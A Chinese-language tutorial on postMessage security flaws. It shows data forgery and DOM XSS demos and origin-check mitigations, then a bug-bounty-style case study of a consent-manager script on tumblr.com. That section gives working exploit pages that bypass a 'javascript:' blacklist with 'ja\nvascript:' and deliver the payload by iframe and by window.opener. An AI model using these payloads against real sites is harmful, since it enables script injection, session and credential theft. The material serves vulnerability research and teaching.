未經許可,不得轉載。
- 前言
- 示例
- 正文
前言
PostMessage是一個用於在網頁間安全地傳送訊息的瀏覽器 API。它允許不同的視窗(例如,來自同一域名下的不同頁面或者不同域名下的跨域頁面)進行通訊,而無需透過伺服器。通常情況下,它用於實現跨文件訊息傳遞(Cross-Document Messaging),這在一些複雜的網頁應用和瀏覽器外掛中非常有用。
示例
在深入學習本文前,透過父子視窗間的訊息傳遞示例程式碼+瀏覽器回顯
帶領讀者瞭解必要的知識。
1、send.html透過 postMessage
函式向receive.html傳送訊息:
<!--send.html-->
<!DOCTYPE html>
<html>
<head>
<title>傳送介面</title>
<meta charset="utf-8" />
<script>
function openChild() {
child = window.open('receive.html', 'popup', 'height=300px, width=300px');
}
function sendMessage() {
//傳送的資料內容
let msg = { content: "玲瓏安全漏洞挖掘培訓vx: bc52013" };
//傳送訊息到任意目標源
child.postMessage(msg, '*');
}
</script>
</head>
<body>
<input type='button' id='btnopen' value='開啟子視窗' onclick='openChild();' />
<input type='button' id='btnSendMsg' value='傳送訊息' onclick='sendMessage();' />
</body>
</html>
2、receive.html透過監聽 message
事件來輸出收到的訊息:
<!--receive.html-->
<!DOCTYPE html>
<html>
<head>
<title>接收介面</title>
<meta charset="utf-8" />
<script>
//新增事件監控訊息
window.addEventListener("message", (event) => {
let txt = document.getElementById("msg");
//接收傳輸過來的變數資料
txt.value = `接收到的訊息為:${event.data.content}`;
});
</script>
</head>
<body>
<h1>接收介面(子視窗)</h1>
<input type='text' id='msg' style='width: 400px; height: 50px;'/>
</body>
</html>
3、在send.html點選開啟子視窗後彈出子視窗:
4、點選傳送訊息後,接收介面收到並且列印訊息內容“玲瓏安全漏洞挖掘培訓vx: bc52013”
如上,透過PostMessage實現了父子視窗間的訊息傳遞。
然而,若程式碼書寫不規範將導致安全問題。
1、資料偽造
由於receive.html沒有設定信任源,因此任意頁面都可向該頁面傳送資料,導致資料偽造。
<!--資料偽造.html-->
<!DOCTYPE html>
<html>
<head>
<title>資料偽造介面</title>
<meta charset="utf-8" />
<script>
function openChild() {
child = window.open('receive.html', 'popup', 'height=300px, width=300px');
}
function sendMessage() {
//傳送的資料內容
let msg = { content: "ICE" };
//傳送訊息到任意目標源
child.postMessage(msg, '*');
}
</script>
</head>
<body>
<input type='button' id='btnopen' value='開啟子視窗' onclick='openChild();' />
<input type='button' id='btnSendMsg' value='傳送訊息' onclick='sendMessage();' />
</body>
</html>
如圖,接收方本應接收到的訊息為:
而在資料偽造介面
開啟子視窗併傳送訊息後,接收介面接收到偽造資料:
2、XSS
當傳送引數可控且接收方處理不當時,將導致DOM XSS
例如,受害方接收一個可控的URL引數:
<!--受害方.html-->
<!DOCTYPE html>
<html>
<head>
<title>受害方介面</title>
<meta charset="utf-8" />
<script>
//新增事件監控訊息
window.addEventListener("message", (event) => {
location.href=`${event.data.url}`;
});
</script>
</head>
<body>
<h1>受害方介面(子視窗)</h1>
</body>
</html>
於是可以構造惡意請求,實現XSS:
<!--攻擊方實現XSS.html-->
<!DOCTYPE html>
<html>
<head>
<title>攻擊方實現XSS介面</title>
<meta charset="utf-8" />
<script>
function openChild() {
child = window.open('受害方.html', 'popup', 'height=300px, width=300px');
}
function sendMessage() {
//傳送的資料內容
let msg = { url:"javascript:alert('玲瓏安全漏洞挖掘培訓')" };
//傳送訊息到任意目標源
child.postMessage(msg, '*');
}
</script>
</head>
<body>
<input type='button' id='btnopen' value='開啟子視窗' onclick='openChild();' />
<input type='button' id='btnSendMsg' value='傳送訊息' onclick='sendMessage();' />
</body>
</html>
在攻擊方介面開啟子視窗:
點選傳送訊息後,受害方執行JS程式碼:
同時,當頁面中不包含X-Frame-Options標頭時,還可利用 <iframe>
標籤巢狀受害方頁面並傳遞可控引數,以執行JS程式碼:
<!-- 攻擊方: hacker.html -->
<!DOCTYPE html>
<html>
<head>
<title>XSS-iframe</title>
</head>
<body>
<iframe name="attack" src="http://127.0.0.1/user.html" onload="xss()"></iframe>
</body>
<script type="text/javascript">
var iframe = window.frames.attack;
function xss() {
let msg = {url: "javascript:alert(document.domain)"};
iframe.postMessage(msg, '*');
}
</script>
</html>
攻擊效果如圖:
漏洞危害如下:
(i)竊取使用者敏感資料(個人資料、訊息等)
(ii)竊取 CSRF 令牌並以使用者的名義執行惡意操作
(iii)竊取賬戶憑證並接管使用者賬戶
修復緩解方案:
1、傳送方應驗證目標源,確保訊息只能被預期的接收方處理:
接收方應使用指定的信任域:
此時,點選傳送訊息後,受害方介面不再執行彈窗,因為攻擊方指定的目標源是https協議,而受害方僅指定http://127.0.0.1為信任源:
當攻擊方頁面指定127.0.0.1的http協議時,由於攻擊方頁面與受害者頁面均在該伺服器上,因此能夠實現XSS:
正文
進入tumblr.com,在cmpStub.min.js檔案中存在如下函式,其不檢查 postMessage 的來源:
!function() {
var e = !1;
function t(e) {
var t = "string" == typeof e.data
, n = e.data;
if (t)
try {
n = JSON.parse(e.data)
} catch (e) {}
if (n && n.__cmpCall) {
var r = n.__cmpCall;
window.__cmp(r.command, r.parameter, function(n, o) {
var a = {
__cmpReturn: {
returnValue: n,
success: o,
callId: r.callId
}
};
e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")
//不檢查來源,為後續測試提供可能性
})
}
}
主要含義:接收並解析 JSON 資料 (e.data
),將其轉換為 JavaScript 物件 (n
);執行 __cmpCall
中指定的命令和引數,並將執行結果封裝成返回物件 a
;最後透過 postMessage
方法將處理結果傳送回訊息來源。
跟進__cmp() 函式,看看應用程式對資料進行了何種處理:
if (e)
return {
init: function(e) {
if (!l.a.isInitialized())
if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
p.uiUrl || p.organizationId)
if (c.a.isSafeUrl(p.uiUrl)) {
p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
g.setGdpr("S"),
g.setPublisherId(p.organizationId)),
(t = p.sharedConsentDomain) && r.a.init(t),
s.a.setCookieDomain(p.cookieDomain);
var n = s.a.getGdprApplies();
!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
n || (e = !0),
s.a.setIsUserInEU(e),
e ? (g.setGdpr("L"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : l.a.initializationComplete()
})
} else
c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl). Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)
可以看出,c.a.isSafeUrl(p.uiUrl))為真才將繼續執行。
跟進isSafeUrl函式:
isSafeUrl: function(e) {
return -1 === (e = (e || "").replace(" ",
"")).toLowerCase().indexOf("javascript:")
},
若p.uiUrl(即e)中存在javascript
,則返回假。
所以這裡是為了防止JS程式碼執行,而通常使用黑名單的防護方式是容易被繞過的。
那麼傳入的p.uiUrl引數後續會經過什麼處理呢?
在上面的程式碼中,還存在該行程式碼:
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
跟進b()函式:
b = function(e) {
g.markConsentRenderStartTime();
var n = p.uiUrl ? i.a : a.a;
l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
p.consentString = t,
n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
}) : n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
再跟進關鍵的renderConsents() 函式:
renderConsents: function(n, p) {
if ((t = n || {}).siteDomain = window.location.origin,
r = t.uiUrl) {
if (p && u.push(p),
!document.getElementById("cmp-container-id")) {
(i = document.createElement("div")).id = "cmp-container-id",
i.style.position = "fixed",
i.style.background = "rgba(0,0,0,.5)",
i.style.top = 0,
i.style.right = 0,
i.style.bottom = 0,
i.style.left = 0,
i.style.zIndex = 1e4,
document.body.appendChild(i),
(a = document.createElement("iframe")).style.position = "fixed",
a.src = r,
a.id = "cmp-ui-iframe",
a.width = 0,
a.height = 0,
a.style.display = "block",
a.style.border = 0,
i.style.zIndex = 10001,
l(),
可以看到該函式將建立iframe元素,而該元素的src屬性就是我們可控的p.uiUrl。
綜上所述,整體流程如下:
傳入的資料進入cmp()函式處理 -> 處理時執行issafeurl函式判斷資料是否合法 -> 若合法,則執行renderConsents()函式,構造iframe
知悉引數從傳遞到處理的流程後,就可以構造Payload了。
現在的目的是繞過isSafeUrl函式,而恰好,JavaScript 在處理字串時,會忽略掉換行符、製表符等空白字元(無害髒資料):
因此,依據__cmp() 函式,以JSON形式構造Payload如下:
{
"__cmpCall": {
"command": "init",
"parameter": {
"uiUrl": "ja\nvascript:alert(document.domain)",
"uiCustomParams": "ice",
"organizationId": "ice",
"gdprAppliesGlobally": "ice"
}
}
}
使用iframe巢狀受攻擊頁面:
<html>
<body>
<script>
window.setInterval(function(e) {
try {
window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}", "*");
} catch(e) {}
}, 100);
</script>
<iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>
</body>
</html>
成功實現XSS:
以上是頁面中不包含X-Frame-Options標頭的情況,導致我們能巢狀受攻擊頁面。
若頁面中包含X-Frame-Options 標頭,則我們不能巢狀受攻擊頁面。這種情況下,可透過 window.opener 實現兩個瀏覽器選項卡之間的連線,再傳送 postMessage 訊息,實現XSS。
在tumblr.com頁面存在X-Frame-Options標頭,但也含有cmpStub.min.js檔案的情況下,攻擊程式碼如下所示:
<html>
<body>
<script>
function e() {
window.setTimeout(function() {
window.location.href = "https://www.tumblr.com/embed/post/";
}, 500);
}
window.setInterval(function(e) {
try {
window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}","*");
} catch(e) {}
}, 100);
</script>
<a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
</body>
</html>
成功實現XSS:
參考連結:
https://www.cnblogs.com/piaomiaohongchen/p/18305112
https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/